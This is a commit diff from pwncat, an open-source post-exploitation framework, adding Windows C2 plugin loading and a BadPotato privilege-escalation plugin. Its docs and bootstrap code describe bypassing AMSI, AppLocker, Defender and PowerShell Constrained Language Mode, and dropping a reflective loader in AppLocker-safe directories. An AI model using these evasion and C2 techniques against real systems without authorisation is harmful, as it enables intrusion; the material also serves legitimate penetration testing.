mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-24 01:25:37 +01:00
Merge pull request #119 from calebstewart/feature-reflective-dotnet
- Updated documentation for Plugin API - Updated README with notes on Windows support - Added plugin API to Windows C2 - Added GitHub Action to package Windows plugins and attach to releases automatically. - Added early support for BadPotato supported by [pwncat-badpotato](https://github.com/calebstewart/pwncat-badpotato) plugin (step toward #106)
This commit is contained in:
commit
f74510afb6
37
.github/workflows/publish.yml
vendored
Normal file
37
.github/workflows/publish.yml
vendored
Normal file
@ -0,0 +1,37 @@
|
||||
# Automatically pull down the required versions of windows plugins
|
||||
# and bundle them up for releases. This makes staging on non-internet
|
||||
# connected systems easier.
|
||||
name: publish
|
||||
on:
|
||||
push:
|
||||
tags:
|
||||
- 'v*.*.*'
|
||||
|
||||
jobs:
|
||||
release:
|
||||
name: Release
|
||||
runs-on: ubuntu-latest
|
||||
if: startsWith(github.ref, 'refs/tags/')
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v2
|
||||
- name: Setup Python 3.9
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: "3.9"
|
||||
- name: Install pwncat Module
|
||||
run: "python setup.py install"
|
||||
- name: Download and Archive Plugins
|
||||
run: |
|
||||
# Have pwncat download all plugins needed
|
||||
pwncat --download-plugins
|
||||
|
||||
# They are stored in ~/.local/share/pwncat by default
|
||||
tar czvf pwncat-plugins.tar.gz --transform='s|.*pwncat/||' ~/.local/share/pwncat/*
|
||||
|
||||
- name: Publish Plugins
|
||||
uses: softprops/action-gh-release@v1
|
||||
with:
|
||||
files: "pwncat-plugins.tar.gz"
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
26
README.md
26
README.md
@ -43,6 +43,30 @@ the latest usage and development documentation!
|
||||
|
||||
**pwncat requires Python 3.9+.**
|
||||
|
||||
## Windows Support
|
||||
|
||||
pwncat now supports windows starting at `v0.4.0a1`. The Windows platform
|
||||
utilizes a .Net-based C2 library which is loaded automatically. Windows
|
||||
targets should connect with either a `cmd.exe` or `powershell.exe` shell, and
|
||||
pwncat will take care of the rest.
|
||||
|
||||
The libraries implementing the C2 are implemented at [pwncat-windows-c2].
|
||||
The DLLs for the C2 will be automatically downloaded from the targeted release
|
||||
for you. If you do not have internet connectivity on your target machine,
|
||||
you can tell pwncat to prestage the DLLs using the `--download-plugins`
|
||||
argument. If you are running a release version of pwncat, you can also download
|
||||
a tarball of all built-in plugins from the releases page.
|
||||
|
||||
The plugins are stored by default in `~/.local/share/pwncat`, however this is
|
||||
configurable with the `plugin_path` configuration. If you download the packaged
|
||||
set of plugins from the releases page, you should extract it to the path pointed
|
||||
to by `plugin_path`.
|
||||
|
||||
Aside from the main C2 DLLs, other plugins may also be available. Currently,
|
||||
the only provided default plugins are the C2 and an implementation of [BadPotato].
|
||||
pwncat can reflectively load .Net binaries to be used a plugins for the C2.
|
||||
For more information on Windows C2 plugins, please see the [documentation].
|
||||
|
||||
## Version Details
|
||||
|
||||
Currently, there are two versions of pwncat available. The last stable
|
||||
@ -243,3 +267,5 @@ contribute to making `pwncat` behave better on BSD, you are more then welcome to
|
||||
reach out or just fork the repo. As always, pull requests are welcome!
|
||||
|
||||
[documentation]: https://pwncat.readthedocs.io/en/latest
|
||||
[pwncat-windows-c2]: https://github.com/calebstewart/pwncat-windows-c2
|
||||
[BadPotato]: https://github.com/calebstewart/pwncat-badpotato
|
||||
|
@ -92,11 +92,6 @@ command specified in quotes, or a script block specified in braces as with the
|
||||
|
||||
.. code-block:: bash
|
||||
|
||||
# Enter the local prompt for a single command, then return to raw terminal
|
||||
# mode
|
||||
bind c "set state single"
|
||||
# Enumerate privilege escalation methods
|
||||
bind p "privesc -l"
|
||||
bind t {
|
||||
# Just an example of a block
|
||||
run report
|
||||
|
@ -67,6 +67,7 @@ well. Pull requests are always welcome!
|
||||
|
||||
installation.rst
|
||||
usage.rst
|
||||
windows.rst
|
||||
configuration.rst
|
||||
modules.rst
|
||||
enum.rst
|
||||
|
@ -15,7 +15,7 @@ Once you have a working ``pip`` installation, you can install pwncat with the pr
|
||||
# Install pwncat within the virtual environment
|
||||
/opt/pwncat/bin/pip install git+https://github.com/calebstewart/pwncat
|
||||
# This allows you to use pwncat outside of the virtual environment
|
||||
ln -s /opt/pwncat/bin/pwncat /usr/local/bind
|
||||
ln -s /opt/pwncat/bin/pwncat /usr/local/bin
|
||||
|
||||
After installation, you can use pwncat via the installed script:
|
||||
|
||||
@ -51,6 +51,46 @@ After installation, you can use pwncat via the installed script:
|
||||
--list List installed implants with remote connection
|
||||
capability
|
||||
|
||||
Windows Plugin Binaries
|
||||
-----------------------
|
||||
|
||||
The Windows target utilizes .Net binaries to stabilize the connection and bypass
|
||||
various defenses present on Windows targets. The base Windows C2 utilizes two DLLs
|
||||
named ``stageone.dll`` and ``stagetwo.dll``. Stage One is a simple reflective loader.
|
||||
It will read the encoded and compressed contents of Stage Two, and execute it
|
||||
reflectively. Stage Two contains the actual meat of the C2 framework.
|
||||
|
||||
Further, the Stage Two C2 framework provides the ability to reflectively load other
|
||||
.Net assemblies and execute their methods. The loaded assemblies must conform to the
|
||||
pwncat plugin API. These APIs are not generally accessible from the interactive
|
||||
session, and are created more for the Python API.
|
||||
|
||||
Plugins are stored at the path specified by the ``plugin_path`` configuration value.
|
||||
By default, this configuration points to ``~/.local/share/pwncat``, but can be changed
|
||||
by your configuration file. If a plugin does not exist when it is requested, the appropriate
|
||||
version will be downloaded via a URL tracked within pwncat itself.
|
||||
|
||||
If your attacking machine will not have direct internet access, you can prestage the
|
||||
plugin binaries in two ways. The easiest is to connect your attacking machine to
|
||||
the internet, and use the ``--download-plugins`` argument:
|
||||
|
||||
.. code-block:: bash
|
||||
|
||||
pwncat --download-plugins
|
||||
|
||||
This command will place all built-in plugins in the plugin directory for you. Alternatively,
|
||||
if you are using a release version pwncat, you can download a prepackaged tarball of all
|
||||
builtin plugins from the GitHub releases page. You can then extract it into your plugin path:
|
||||
|
||||
.. code-block:: bash
|
||||
|
||||
# Replace {version} with your pwncat version
|
||||
cd ~/.local/share/pwncat
|
||||
wget https://github.com/calebstewart/pwncat/releases/download/{version}/pwncat-plugins-{version}.tar.gz
|
||||
tar xvfs pwncat-plugins-{version}.tar.gz
|
||||
rm pwncat-plugins-{version}.tar.gz
|
||||
|
||||
|
||||
Development Environment
|
||||
-----------------------
|
||||
|
||||
|
132
docs/source/windows.rst
Normal file
132
docs/source/windows.rst
Normal file
@ -0,0 +1,132 @@
|
||||
Windows Support
|
||||
===============
|
||||
|
||||
Starting with ``v0.4.0a1``, pwncat supports multiple platform targets. Specifically,
|
||||
we have implemented Windows support. Windows support is complicated, as a majority
|
||||
of interaction cannot be simply executed from a shell, and parsed. As a result, we
|
||||
implemented a very minimal C2 framework, and had pwncat automatically upload and
|
||||
execute this framework for you. **You only need to provide pwncat a cmd or
|
||||
powershell prompt**.
|
||||
|
||||
Goals
|
||||
-----
|
||||
|
||||
When building out Windows support, there were a lot of options. We had to filter out
|
||||
these options based on the goals for the C2. We whittled these goals down to the
|
||||
following:
|
||||
|
||||
- Automatically Bypass AMSI
|
||||
- Automatically Bypass AppLocker
|
||||
- Undetected by Defender
|
||||
- Automatically Bypass PowerShell Constrained Language Mode
|
||||
- Provide the user with an interactive shell
|
||||
- Support structured interaction for automation
|
||||
- Touch disk as little as possible
|
||||
|
||||
This was a tall order, and doing so generically was difficult. I'll talk about our
|
||||
solution to each of those problems. Firstly, AMSI was easy. Once everything was set
|
||||
in place, we could use the standard .Net reflection to bypass AMSI relatively easily.
|
||||
|
||||
This brought up another issue: Constrained Language Mode. In PowerShell, if constrained
|
||||
language mode is active, we effectively have no access to .Net. This presents serious
|
||||
problems. The only way we could find to bypass Constrained Language Mode without
|
||||
depending on PowerShell v2 was to execute .Net code. From within .Net, we can reflectively
|
||||
modify the PowerShell implementation, and spawn an interactive session in Full Language
|
||||
Mode regardless of environment or Group Policy settings.
|
||||
|
||||
With the need to execute .Net without reflective loading from PowerShell (due to CLM),
|
||||
we now break one of our rules. We have to upload a file to disk to execute, and with
|
||||
that we run into both Defender and AppLocker. For AppLocker, there is a list of safe
|
||||
directories where we can place a binary, and load it with the .Net ``InstallUtil``
|
||||
tool. This provides a way around AppLocker. Further, we implemented a small stager
|
||||
which simply waits and downloads more .Net code to be reflectively loaded. This
|
||||
mitigates the files on disk by making the only on-disk file a simple stager with low
|
||||
equity. It also makes the file on disk less likely to trigger Defender.
|
||||
|
||||
At this point, we can load stage two which implements the required structured
|
||||
interaction and interactive shell as needed, and have met all goals listed above
|
||||
with a slight compromise on files touching disk. To make things as smooth as possible,
|
||||
pwncat will automatically remove the stageone DLL when exiting.
|
||||
|
||||
Communication Protocol
|
||||
----------------------
|
||||
|
||||
After initializing stage two, pwncat communicates over Base64-encoded GZip blobs.
|
||||
Each command sent is a JSON-encoded argument array specifying the type name,
|
||||
method name, and subsequent arguments for a static method within stage two. The
|
||||
JSON data is deserialized so you can pass any serializable type to a method natively
|
||||
from pwncat.
|
||||
|
||||
Responses are formatted in the same way as requests, except are returned as a dictionary.
|
||||
The dictionary looks like this:
|
||||
|
||||
.. code-block:: json
|
||||
|
||||
{
|
||||
"error": 0,
|
||||
"result": {},
|
||||
"message": ""
|
||||
}
|
||||
|
||||
If a method fails, the error property will be non-zero, and the ``message`` property
|
||||
will be present containing a description of the failure. If the method succeeds, the
|
||||
``result`` property will contain the return value of the method. This value could be
|
||||
any JSON serializable type (the example above shows an empty dictionary but it could
|
||||
just as easily be a bare integer).
|
||||
|
||||
The Windows platform provides a helper method to call methods which seamlessly translates
|
||||
Python calls to method calls. The return value is the ``result`` property, and a
|
||||
:class:`pwncat.platform.windows.Windows.ProtocolError` will be raised if there was an error.
|
||||
|
||||
.. code-block:: python
|
||||
|
||||
result = session.platform.run_method("PowerShell", "run", "[PSCustomObject]@{ thing = 5; }", 1)
|
||||
# Prints "5"
|
||||
print(result[0]["thing"])
|
||||
|
||||
There are also other abstractions within the framework for common operations like executing
|
||||
PowerShell. For more information on the API of the Windows platform, please see the
|
||||
API Documentation.
|
||||
|
||||
Plugin API
|
||||
----------
|
||||
|
||||
You can utilize the pwncat API to load third-party .Net assemblies from the attacker machine
|
||||
and easily execute their methods. The stage two C2 provides the ability to load an assembly
|
||||
and retrieve a unique identifier for the loaded assembly. You can then use this identifier
|
||||
to execute methods from the assembly in a similar way to the ``run_method`` method above.
|
||||
|
||||
The plugins themselves must implement a specific API in order to be compatible. A basic
|
||||
plugin looks like this:
|
||||
|
||||
.. code-block:: csharp
|
||||
|
||||
using System.Reflection;
|
||||
|
||||
class Plugin
|
||||
{
|
||||
public static void entry(Assembly stagetwo)
|
||||
{
|
||||
// Optional method; executing while loading the plugin
|
||||
}
|
||||
|
||||
public static string test(string arg1, int arg2)
|
||||
{
|
||||
// A method that can be called from the C2
|
||||
return "Hello " + arg1 + " " + arg2.ToString();
|
||||
}
|
||||
}
|
||||
|
||||
If you had compiled this plugin to a dll named ``example.dll``, you could load and execute it
|
||||
with the following from pwncat:
|
||||
|
||||
.. code-block:: python
|
||||
|
||||
example = session.platform.dotnet_load("example.dll")
|
||||
# this prints "Hello Plugin 42"
|
||||
print(example.test("Plugin", 42))
|
||||
|
||||
The Windows platform will deduplicate plugins by name and by file hash to ensure individual
|
||||
assemblies are only loaded once. If a given assembly has already been loaded, the existing
|
||||
:class:`pwncat.platform.windows.Windows.DotNetPlugin` instance will be returned instead of
|
||||
reloading the existing assembly.
|
@ -30,6 +30,11 @@ def main():
|
||||
parser = argparse.ArgumentParser(
|
||||
description="""Start interactive pwncat session and optionally connect to existing victim via a known platform and channel type. This entrypoint can also be used to list known implants on previous targets."""
|
||||
)
|
||||
parser.add_argument(
|
||||
"--download-plugins",
|
||||
action="store_true",
|
||||
help="Pre-download all Windows builtin plugins and exit immediately",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--config",
|
||||
"-c",
|
||||
@ -83,6 +88,15 @@ def main():
|
||||
# Create the session manager
|
||||
with pwncat.manager.Manager(args.config) as manager:
|
||||
|
||||
if args.download_plugins:
|
||||
for plugin_info in pwncat.platform.Windows.PLUGIN_INFO:
|
||||
with pwncat.platform.Windows.open_plugin(
|
||||
manager, plugin_info.provides[0]
|
||||
):
|
||||
pass
|
||||
|
||||
return
|
||||
|
||||
if args.list:
|
||||
|
||||
db = manager.db.open()
|
||||
|
@ -4,12 +4,7 @@ import textwrap
|
||||
import pwncat
|
||||
import pwncat.modules
|
||||
from pwncat.util import console
|
||||
from pwncat.commands import (
|
||||
Complete,
|
||||
Parameter,
|
||||
CommandDefinition,
|
||||
get_module_choices,
|
||||
)
|
||||
from pwncat.commands import Complete, Parameter, CommandDefinition, get_module_choices
|
||||
|
||||
|
||||
class Command(CommandDefinition):
|
||||
@ -92,6 +87,11 @@ class Command(CommandDefinition):
|
||||
console.log(f"[red]error[/red]: invalid argument: {exc}")
|
||||
return
|
||||
|
||||
if isinstance(result, list):
|
||||
result = [r for r in result if not r.hidden]
|
||||
elif result.hidden:
|
||||
result = None
|
||||
|
||||
if args.raw:
|
||||
console.print(result)
|
||||
else:
|
||||
|
@ -27,8 +27,10 @@ import ipaddress
|
||||
from typing import Any, Dict, List, Union
|
||||
|
||||
from prompt_toolkit.keys import ALL_KEYS, Keys
|
||||
from prompt_toolkit.input.ansi_escape_sequences import (ANSI_SEQUENCES,
|
||||
REVERSE_ANSI_SEQUENCES)
|
||||
from prompt_toolkit.input.ansi_escape_sequences import (
|
||||
ANSI_SEQUENCES,
|
||||
REVERSE_ANSI_SEQUENCES,
|
||||
)
|
||||
|
||||
from pwncat.modules import BaseModule
|
||||
|
||||
@ -72,6 +74,9 @@ def local_file_type(value: str) -> str:
|
||||
def local_dir_type(value: str) -> str:
|
||||
""" Ensure the path specifies a local directory """
|
||||
|
||||
# Expand ~ in the path
|
||||
value = os.path.expanduser(value)
|
||||
|
||||
if not os.path.isdir(value):
|
||||
raise ValueError(f"{value}: no such file or directory")
|
||||
return value
|
||||
@ -109,7 +114,7 @@ class Config:
|
||||
"cross": {"value": None, "type": str},
|
||||
"psmodules": {"value": ".", "type": local_dir_type},
|
||||
"verbose": {"value": False, "type": bool_type},
|
||||
"windows_c2_dir": {
|
||||
"plugin_path": {
|
||||
"value": "~/.local/share/pwncat",
|
||||
"type": local_dir_type,
|
||||
},
|
||||
|
@ -43,6 +43,7 @@ class Fact(Result, persistent.Persistent):
|
||||
self.types: PersistentList = types
|
||||
# The original procedure that found this fact
|
||||
self.source: str = source
|
||||
self.hidden: bool = False
|
||||
|
||||
def __eq__(self, o):
|
||||
"""This is probably a horrible idea.
|
||||
|
@ -62,6 +62,7 @@ class WindowsUser(User):
|
||||
principal_source: str,
|
||||
password: Optional[str] = None,
|
||||
hash: Optional[str] = None,
|
||||
well_known: bool = False,
|
||||
):
|
||||
super().__init__(
|
||||
source=source, name=name, uid=uid, password=password, hash=hash
|
||||
@ -78,6 +79,7 @@ class WindowsUser(User):
|
||||
self.password_last_set: Optional[datetime] = password_last_set
|
||||
self.last_logon: Optional[datetime] = last_logon
|
||||
self.principal_source: str = principal_source
|
||||
self.hidden: bool = well_known
|
||||
|
||||
def __repr__(self):
|
||||
if self.password is None and self.hash is None:
|
||||
|
@ -257,7 +257,7 @@ class Session:
|
||||
try:
|
||||
# Ensure this bar is started if we are the selected
|
||||
# target.
|
||||
if self.manager.target == self and not started:
|
||||
if not started:
|
||||
self._progress = rich.progress.Progress(
|
||||
"{task.fields[platform]}",
|
||||
"•",
|
||||
|
@ -136,6 +136,9 @@ class Result:
|
||||
:func:`category` method helps when organizing output with the ``run``
|
||||
command."""
|
||||
|
||||
hidden: bool = False
|
||||
""" Hide results from automatic display with the ``run`` command """
|
||||
|
||||
def category(self, session) -> str:
|
||||
"""Return a "category" of object. Categories will be grouped.
|
||||
If this returns None or is not defined, this result will be "uncategorized"
|
||||
|
@ -41,3 +41,48 @@ class Module(EnumerateModule):
|
||||
last_logon=None,
|
||||
principal_source=user["PrincipalSource"],
|
||||
)
|
||||
|
||||
well_known = {
|
||||
"S-1-0-0": "NULL AUTHORITY\\NOBODY",
|
||||
"S-1-1-0": "WORLD AUTHORITY\\Everyone",
|
||||
"S-1-2-0": "LOCAL AUTHORITY\\Local",
|
||||
"S-1-3-0": "CREATOR AUTHORITY\\Creator Owner",
|
||||
"S-1-3-1": "CREATOR AUTHORITY\\Creator Group",
|
||||
"S-1-3-4": "CREATOR AUTHORITY\\Owner Rights",
|
||||
"S-1-4": "NONUNIQUE AUTHORITY",
|
||||
"S-1-5-1": "NT AUTHORITY\\DIALUP",
|
||||
"S-1-5-2": "NT AUTHORITY\\NETWORK",
|
||||
"S-1-5-3": "NT AUTHORITY\\BATCH",
|
||||
"S-1-5-4": "NT AUTHORITY\\INTERACTIVE",
|
||||
"S-1-5-6": "NT AUTHORITY\\SERVICE",
|
||||
"S-1-5-7": "NT AUTHORITY\\ANONYMOUS",
|
||||
"S-1-5-9": "NT AUTHORITY\\ENTERPRISE DOMAIN CONTROLLERS",
|
||||
"S-1-5-10": "NT AUTHORITY\\PRINCIPAL SELF",
|
||||
"S-1-5-11": "NT AUTHORITY\\AUTHENTICATED USERS",
|
||||
"S-1-5-12": "NT AUTHORITY\\RESTRICTED CODE",
|
||||
"S-1-5-13": "NT AUTHORITY\\TERMINAL SERVER USERS",
|
||||
"S-1-5-14": "NT AUTHORITY\\REMOTE INTERACTIVE LOGON",
|
||||
"S-1-5-17": "NT AUTHORITY\\IUSR",
|
||||
"S-1-5-18": "NT AUTHORITY\\SYSTEM",
|
||||
"S-1-5-19": "NT AUTHORITY\\LOCAL SERVICE",
|
||||
"S-1-5-20": "NT AUTHORITY\\NETWORK SERVICE",
|
||||
}
|
||||
|
||||
for sid, name in well_known.items():
|
||||
yield WindowsUser(
|
||||
source=self.name,
|
||||
name=name,
|
||||
uid=sid,
|
||||
account_expires=None,
|
||||
description=None,
|
||||
enabled=True,
|
||||
full_name=name,
|
||||
password_changeable_date=None,
|
||||
password_expires=None,
|
||||
user_may_change_password=None,
|
||||
password_required=None,
|
||||
password_last_set=None,
|
||||
last_logon=None,
|
||||
principal_source="well known sid",
|
||||
well_known=True,
|
||||
)
|
||||
|
@ -301,7 +301,7 @@ class Path:
|
||||
"""Open the file pointed to by the path, like Platform.open"""
|
||||
|
||||
return self._target.open(
|
||||
self,
|
||||
str(self),
|
||||
mode=mode,
|
||||
buffering=buffering,
|
||||
encoding=encoding,
|
||||
@ -526,6 +526,11 @@ class Platform(ABC):
|
||||
self.Path = RemotePath
|
||||
""" A concrete Path object for this platform conforming to pathlib.Path """
|
||||
|
||||
@property
|
||||
def manager(self):
|
||||
""" Shortcut to accessing the manager """
|
||||
return self.session.manager
|
||||
|
||||
def interactive_loop(self, interactive_complete: "threading.Event"):
|
||||
"""Handles interactive piping of data between victim and attacker. If
|
||||
the platform you are implementing does not support raw mode, you must
|
||||
|
@ -22,12 +22,14 @@ import time
|
||||
import base64
|
||||
import shutil
|
||||
import signal
|
||||
import hashlib
|
||||
import pathlib
|
||||
import tarfile
|
||||
import termios
|
||||
import binascii
|
||||
import readline
|
||||
import textwrap
|
||||
import functools
|
||||
import subprocess
|
||||
from io import (
|
||||
BytesIO,
|
||||
@ -50,7 +52,7 @@ import pwncat.subprocess
|
||||
from pwncat.platform import Path, Platform, PlatformError
|
||||
|
||||
INTERACTIVE_END_MARKER = b"INTERACTIVE_COMPLETE\r\n"
|
||||
PWNCAT_WINDOWS_C2_VERSION = "v0.2.0"
|
||||
PWNCAT_WINDOWS_C2_VERSION = "v0.2.1"
|
||||
PWNCAT_WINDOWS_C2_RELEASE_URL = "https://github.com/calebstewart/pwncat-windows-c2/releases/download/{version}/pwncat-windows-{version}.tar.gz"
|
||||
|
||||
|
||||
@ -180,7 +182,7 @@ class WindowsFile(RawIOBase):
|
||||
|
||||
try:
|
||||
result = self.platform.run_method(
|
||||
"File", "write", self.handle, base64.b64encode(data)
|
||||
"File", "write", self.handle, base64.b64encode(data).decode("utf-8")
|
||||
)
|
||||
except ProtocolError as exc:
|
||||
# ERROR_BROKEN_PIPE
|
||||
@ -194,6 +196,43 @@ class WindowsFile(RawIOBase):
|
||||
return nwritten
|
||||
|
||||
|
||||
class DotNetPlugin(object):
|
||||
"""Represents a reflectively loaded .Net plugin within the remote C2
|
||||
This class is a helper which makes calling methods within a plugin
|
||||
more straightforward. If you want to call a method named ``get_system``
|
||||
you can use one of two syntaxes:
|
||||
|
||||
.. code-block:: python
|
||||
|
||||
plugin.run("get_system", "arguments", 1, 2, False)
|
||||
plugin.get_system("arguments", 1, 2, False)
|
||||
|
||||
:param name: basename of the file which was loaded
|
||||
:type name: str
|
||||
:param checksum: md5sum of the assembly
|
||||
:type checksum: str
|
||||
:param ident: identifier for the remote assembly
|
||||
:type ident: int
|
||||
"""
|
||||
|
||||
def __init__(self, platform: "Windows", name: str, checksum: str, ident: int):
|
||||
|
||||
self.names = [name]
|
||||
self.checksum = checksum
|
||||
self.ident = ident
|
||||
self.platform = platform
|
||||
|
||||
def __getattr__(self, key: str):
|
||||
"""Shortcut for calling a method. ``plugin.method()`` is equivalent
|
||||
to ``plugin.run("method")``."""
|
||||
return functools.partial(self.run, key)
|
||||
|
||||
def run(self, method: str, *args):
|
||||
""" Execute a method within the plugin """
|
||||
|
||||
return self.platform.run_method("Reflection", "call", self.ident, method, args)
|
||||
|
||||
|
||||
class PopenWindows(pwncat.subprocess.Popen):
|
||||
"""
|
||||
Windows-specific Popen wrapper class
|
||||
@ -381,6 +420,20 @@ class PopenWindows(pwncat.subprocess.Popen):
|
||||
return (stdout, stderr)
|
||||
|
||||
|
||||
@dataclass
|
||||
class BuiltinPluginInfo:
|
||||
""" Tells pwncat where to find a builtin plugin """
|
||||
|
||||
name: str
|
||||
""" A friendly name used when loading the plugin """
|
||||
provides: List[str]
|
||||
""" List of DLL names which this plugin provides """
|
||||
url: str
|
||||
""" URL pointing to a tar.gz file containing the plugin DLL(s) """
|
||||
version: str
|
||||
""" The version number to download (this is formatted into the URL) """
|
||||
|
||||
|
||||
class Windows(Platform):
|
||||
"""Concrete platform class abstracting interaction with a Windows/
|
||||
Powershell remote host. The remote windows host must support
|
||||
@ -389,6 +442,68 @@ class Windows(Platform):
|
||||
|
||||
name = "windows"
|
||||
PATH_TYPE = pathlib.PureWindowsPath
|
||||
C2_VERSION = "v0.2.1"
|
||||
PLUGIN_INFO = [
|
||||
BuiltinPluginInfo(
|
||||
name="windows-c2",
|
||||
provides=["stageone.dll", "stagetwo.dll"],
|
||||
url="https://github.com/calebstewart/pwncat-windows-c2/releases/download/{version}/pwncat-windows-{version}.tar.gz",
|
||||
version="v0.2.1",
|
||||
),
|
||||
BuiltinPluginInfo(
|
||||
name="badpotato",
|
||||
provides=["BadPotato.dll"],
|
||||
url="https://github.com/calebstewart/pwncat-badpotato/releases/download/{version}/pwncat-badpotato-{version}.tar.gz",
|
||||
version="v0.0.1-alpha",
|
||||
),
|
||||
]
|
||||
|
||||
@classmethod
|
||||
def open_plugin(cls, manager: "pwncat.manager.Manager", name: str) -> BytesIO:
|
||||
"""
|
||||
Open the given plugin DLL for reading and return an open file object.
|
||||
If the given name matches a builtin plugin, it will be used. If a
|
||||
builtin plugin is not available, it will be downloaded from it's URL
|
||||
and saved in the provided plugin path. If the name does not match a
|
||||
provided plugin DLL, it is interpreted as a path and attempted to be
|
||||
opened.
|
||||
|
||||
:param manager: the pwncat manager object used to locate the plugin directory
|
||||
:type manager: pwncat.manager.Manager
|
||||
:param name: name of the plugin being requested
|
||||
:type name: str
|
||||
:rtype: BytesIO
|
||||
"""
|
||||
|
||||
for plugin in cls.PLUGIN_INFO:
|
||||
if name in plugin.provides:
|
||||
break
|
||||
else:
|
||||
return open(name, "rb")
|
||||
|
||||
path = (
|
||||
pathlib.Path(manager.config["plugin_path"])
|
||||
/ plugin.name
|
||||
/ plugin.version
|
||||
/ name
|
||||
).expanduser()
|
||||
if not path.exists():
|
||||
path.parent.mkdir(parents=True, exist_ok=True)
|
||||
url = plugin.url.format(version=plugin.version)
|
||||
|
||||
manager.log(f"[blue]windows[/blue]: downloading {plugin.name} plugin")
|
||||
with requests.get(
|
||||
plugin.url.format(version=plugin.version),
|
||||
stream=True,
|
||||
) as request:
|
||||
data = request.raw.read()
|
||||
with tarfile.open(mode="r:gz", fileobj=BytesIO(data)) as tar:
|
||||
for provided in plugin.provides:
|
||||
with tar.extractfile(provided) as provided_filp:
|
||||
with (path.parent / provided).open("wb") as output:
|
||||
shutil.copyfileobj(provided_filp, output)
|
||||
|
||||
return path.open("rb")
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
@ -400,6 +515,7 @@ class Windows(Platform):
|
||||
super().__init__(session, channel, *args, **kwargs)
|
||||
|
||||
self.name = "windows"
|
||||
self.plugins = []
|
||||
|
||||
# Initialize interactive tracking
|
||||
self._interactive = False
|
||||
@ -415,9 +531,6 @@ class Windows(Platform):
|
||||
# Tracks paths to modules which have been sideloaded into powershell
|
||||
self.psmodules = []
|
||||
|
||||
# Ensure we have the C2 libraries downloaded
|
||||
self._ensure_libs()
|
||||
|
||||
self._bootstrap_stage_two()
|
||||
|
||||
self.refresh_uid()
|
||||
@ -427,7 +540,6 @@ class Windows(Platform):
|
||||
# Load requested libraries
|
||||
# for library, methods in self.LIBRARY_IMPORTS.items():
|
||||
# self._load_library(library, methods)
|
||||
#
|
||||
|
||||
def exit(self):
|
||||
"""Ensure the C2 exits on the victim end. This is called automatically
|
||||
@ -475,6 +587,8 @@ class Windows(Platform):
|
||||
|
||||
if wait:
|
||||
|
||||
keyboard_interrupt = False
|
||||
|
||||
# Receive the response
|
||||
while True:
|
||||
try:
|
||||
@ -482,6 +596,14 @@ class Windows(Platform):
|
||||
break
|
||||
except (gzip.BadGzipFile, binascii.Error) as exc:
|
||||
continue
|
||||
except KeyboardInterrupt:
|
||||
self.session.log(
|
||||
"[yellow]warning[/yellow]: waiting for command to complete"
|
||||
)
|
||||
keyboard_interrupt = True
|
||||
|
||||
if keyboard_interrupt:
|
||||
raise KeyboardInterrupt
|
||||
|
||||
# Raise an appropriate error if needed
|
||||
if result["error"] != 0:
|
||||
@ -501,40 +623,6 @@ function prompt {
|
||||
}"""
|
||||
)
|
||||
|
||||
def _ensure_libs(self):
|
||||
"""This method checks that stageone.dll and stagetwo.dll exist within
|
||||
the directory specified by the windows_c2_dir configuration. If they do
|
||||
not, a release copy is downloaded from GitHub. The specific release version
|
||||
is defined by the PWNCAT_WINDOWS_C2_RELEASE_URL variable defined at the top
|
||||
of this file. It should be updated whenever a new C2 version is released."""
|
||||
|
||||
location = pathlib.Path(self.session.config["windows_c2_dir"]).expanduser()
|
||||
location.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
if (
|
||||
not (location / f"stageone-{PWNCAT_WINDOWS_C2_VERSION}.dll").exists()
|
||||
or not (location / f"stagetwo-{PWNCAT_WINDOWS_C2_VERSION}.dll").exists()
|
||||
):
|
||||
self.session.manager.log(
|
||||
f"Downloading Windows C2 binaries ({PWNCAT_WINDOWS_C2_VERSION}) from GitHub..."
|
||||
)
|
||||
with requests.get(
|
||||
PWNCAT_WINDOWS_C2_RELEASE_URL.format(version=PWNCAT_WINDOWS_C2_VERSION),
|
||||
stream=True,
|
||||
) as request:
|
||||
data = request.raw.read()
|
||||
with tarfile.open(mode="r:gz", fileobj=BytesIO(data)) as tar:
|
||||
with tar.extractfile("stageone.dll") as stageone:
|
||||
with (
|
||||
location / f"stageone-{PWNCAT_WINDOWS_C2_VERSION}.dll"
|
||||
).open("wb") as output:
|
||||
shutil.copyfileobj(stageone, output)
|
||||
with tar.extractfile("stagetwo.dll") as stagetwo:
|
||||
with (
|
||||
location / f"stagetwo-{PWNCAT_WINDOWS_C2_VERSION}.dll"
|
||||
).open("wb") as output:
|
||||
shutil.copyfileobj(stagetwo, output)
|
||||
|
||||
def _bootstrap_stage_two(self):
|
||||
"""This routine upgrades a standard powershell or cmd shell to an
|
||||
instance of the pwncat stage two C2. It will first locate a valid
|
||||
@ -564,17 +652,10 @@ function prompt {
|
||||
chunk_sz = 1900
|
||||
|
||||
loader_encoded_name = pwncat.util.random_string()
|
||||
stageone = (
|
||||
pathlib.Path(self.session.config["windows_c2_dir"]).expanduser()
|
||||
/ f"stageone-{PWNCAT_WINDOWS_C2_VERSION}.dll"
|
||||
)
|
||||
stagetwo = (
|
||||
pathlib.Path(self.session.config["windows_c2_dir"]).expanduser()
|
||||
/ f"stagetwo-{PWNCAT_WINDOWS_C2_VERSION}.dll"
|
||||
)
|
||||
|
||||
# Read the loader
|
||||
with stageone.open("rb") as filp:
|
||||
# with stageone.open("rb") as filp:
|
||||
with Windows.open_plugin(self.manager, "stageone.dll") as filp:
|
||||
loader_dll = base64.b64encode(filp.read())
|
||||
|
||||
# Extract first chunk
|
||||
@ -594,11 +675,11 @@ function prompt {
|
||||
self.channel.recvline()
|
||||
result = self.channel.recvuntil(b">")
|
||||
if b"denied" not in result.lower():
|
||||
self.session.manager.log(f"Good path: {possible}")
|
||||
self.session.log(
|
||||
f"dropping stage one in {repr(str(loader_remote_path))}"
|
||||
)
|
||||
break
|
||||
else:
|
||||
self.session.manager.log(f"Bad path: {possible}")
|
||||
self.session.manager.log(result)
|
||||
raise PlatformError("no writable applocker-safe directories")
|
||||
|
||||
# Write remaining chunks to selected path
|
||||
@ -641,7 +722,11 @@ function prompt {
|
||||
# Note whether this is 64-bit or not
|
||||
is_64 = "\\Framework64\\" in install_utils
|
||||
|
||||
self.session.manager.log(f"Selected Install Utils: {install_utils}")
|
||||
